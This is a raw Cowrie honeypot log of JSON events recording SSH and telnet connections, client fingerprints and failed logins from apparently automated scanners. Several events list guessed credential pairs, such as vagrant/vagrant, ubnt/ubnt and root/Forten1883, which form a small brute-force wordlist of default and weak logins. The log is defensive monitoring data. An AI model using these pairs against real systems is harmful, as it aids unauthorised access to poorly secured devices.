{"eventid":"cowrie.session.closed","duration":91.53671860694885,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:28.002733Z","src_ip":"152.42.224.71","session":"e30dedcf8f99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39350,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f4fba9ada70","protocol":"ssh","message":"New connection: 31.40.204.166:39350 (159.203.135.109:22) [session: 0f4fba9ada70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:28.027050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:28.031936Z","src_ip":"31.40.204.166","session":"0f4fba9ada70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:28.213117Z","src_ip":"31.40.204.166","session":"0f4fba9ada70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpUser","password":"ftpUser","message":"login attempt [ftpUser/ftpUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:28.722976Z","src_ip":"31.40.204.166","session":"0f4fba9ada70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56324,"dst_ip":"10.17.0.5","dst_port":23,"session":"42f1246ef453","protocol":"telnet","message":"New connection: 152.42.224.71:56324 (10.17.0.5:23) [session: 42f1246ef453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:28.938196Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:30.189576Z","src_ip":"31.40.204.166","session":"0f4fba9ada70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56340,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bc9565d30d1","protocol":"telnet","message":"New connection: 152.42.224.71:56340 (10.17.0.5:23) [session: 0bc9565d30d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:31.135982Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56350,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae697c7090ca","protocol":"telnet","message":"New connection: 152.42.224.71:56350 (10.17.0.5:23) [session: ae697c7090ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:33.149930Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52918,"dst_ip":"159.203.135.109","dst_port":22,"session":"7de8071b7949","protocol":"ssh","message":"New connection: 31.40.204.166:52918 (159.203.135.109:22) [session: 7de8071b7949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:40.581148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:40.586323Z","src_ip":"31.40.204.166","session":"7de8071b7949","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:40.709262Z","src_ip":"31.40.204.166","session":"7de8071b7949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:41.202528Z","src_ip":"31.40.204.166","session":"7de8071b7949","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:42.382083Z","src_ip":"31.40.204.166","session":"7de8071b7949","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.882821321487427,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:42.477708Z","src_ip":"152.42.224.71","session":"2b26b35ffe17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.66619658470154,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:43.296590Z","src_ip":"152.42.224.71","session":"60553bc71f69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60484,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f27a21010c7","protocol":"telnet","message":"New connection: 152.42.224.71:60484 (10.17.0.5:23) [session: 3f27a21010c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:44.369640Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57010,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5808e33161a","protocol":"telnet","message":"New connection: 152.42.224.71:57010 (10.17.0.5:23) [session: d5808e33161a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:46.914035Z"}
{"eventid":"cowrie.session.closed","duration":111.83617663383484,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:49.785174Z","src_ip":"152.42.224.71","session":"86d9803b8bc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35002,"dst_ip":"159.203.135.109","dst_port":22,"session":"b86be19b9cfd","protocol":"ssh","message":"New connection: 31.40.204.166:35002 (159.203.135.109:22) [session: b86be19b9cfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:52.185107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:52.213462Z","src_ip":"31.40.204.166","session":"b86be19b9cfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:52.507021Z","src_ip":"31.40.204.166","session":"b86be19b9cfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:53.008378Z","src_ip":"31.40.204.166","session":"b86be19b9cfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57030,"dst_ip":"10.17.0.5","dst_port":23,"session":"944d17490af2","protocol":"telnet","message":"New connection: 152.42.224.71:57030 (10.17.0.5:23) [session: 944d17490af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:53.259693Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:54.196013Z","src_ip":"31.40.204.166","session":"b86be19b9cfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57058,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e2f5375731c","protocol":"telnet","message":"New connection: 152.42.224.71:57058 (10.17.0.5:23) [session: 7e2f5375731c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:54.270572Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57022,"dst_ip":"10.17.0.5","dst_port":23,"session":"870466de4b5a","protocol":"telnet","message":"New connection: 152.42.224.71:57022 (10.17.0.5:23) [session: 870466de4b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:54.826199Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57046,"dst_ip":"10.17.0.5","dst_port":23,"session":"87605a7c3236","protocol":"telnet","message":"New connection: 152.42.224.71:57046 (10.17.0.5:23) [session: 87605a7c3236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:54.961147Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59548,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0c3140c284d","protocol":"telnet","message":"New connection: 152.42.224.71:59548 (10.17.0.5:23) [session: f0c3140c284d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:57.470166Z"}
{"eventid":"cowrie.session.closed","duration":120.00181841850281,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:57.480093Z","src_ip":"152.42.224.71","session":"901b66607446","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.01542592048645,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:58.908759Z","src_ip":"152.42.224.71","session":"8147229114a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59554,"dst_ip":"10.17.0.5","dst_port":23,"session":"8240e84baded","protocol":"telnet","message":"New connection: 152.42.224.71:59554 (10.17.0.5:23) [session: 8240e84baded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:41:59.247937Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43158,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f267402a29d","protocol":"ssh","message":"New connection: 31.40.204.166:43158 (159.203.135.109:22) [session: 9f267402a29d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:04.326474Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59566,"dst_ip":"10.17.0.5","dst_port":23,"session":"47c89ba457e0","protocol":"telnet","message":"New connection: 152.42.224.71:59566 (10.17.0.5:23) [session: 47c89ba457e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:04.366992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:04.385962Z","src_ip":"31.40.204.166","session":"9f267402a29d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:04.502973Z","src_ip":"31.40.204.166","session":"9f267402a29d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"root","message":"login attempt [server/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:05.087028Z","src_ip":"31.40.204.166","session":"9f267402a29d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":54468,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce2e32d3a037","protocol":"ssh","message":"New connection: 103.77.175.15:54468 (10.17.0.5:22) [session: ce2e32d3a037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:05.372946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:05.377742Z","src_ip":"103.77.175.15","session":"ce2e32d3a037","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:05.638148Z","src_ip":"103.77.175.15","session":"ce2e32d3a037","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:06.302064Z","src_ip":"31.40.204.166","session":"9f267402a29d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:06.421345Z","src_ip":"103.77.175.15","session":"ce2e32d3a037","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:07.685859Z","src_ip":"103.77.175.15","session":"ce2e32d3a037","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.01238441467285,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:08.148257Z","src_ip":"152.42.224.71","session":"0bc9565d30d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.68016767501831,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:12.618277Z","src_ip":"152.42.224.71","session":"42f1246ef453","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":77.2432975769043,"message":"Connection lost after 77 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:13.047059Z","src_ip":"152.42.224.71","session":"15fd47ed9368","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51654,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ba16c21ca33","protocol":"telnet","message":"New connection: 152.42.224.71:51654 (10.17.0.5:23) [session: 6ba16c21ca33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:13.191202Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50162,"dst_ip":"159.203.135.109","dst_port":22,"session":"83832da6b926","protocol":"ssh","message":"New connection: 31.40.204.166:50162 (159.203.135.109:22) [session: 83832da6b926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:16.286107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:16.294422Z","src_ip":"31.40.204.166","session":"83832da6b926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:16.414544Z","src_ip":"31.40.204.166","session":"83832da6b926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34210,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e72c39f87e7","protocol":"telnet","message":"New connection: 152.42.224.71:34210 (10.17.0.5:23) [session: 9e72c39f87e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:17.058246Z"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:17.382637Z","src_ip":"31.40.204.166","session":"83832da6b926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:42:18.512824Z","src_ip":"31.40.204.166","session":"83832da6b926","protocol":"ssh"}
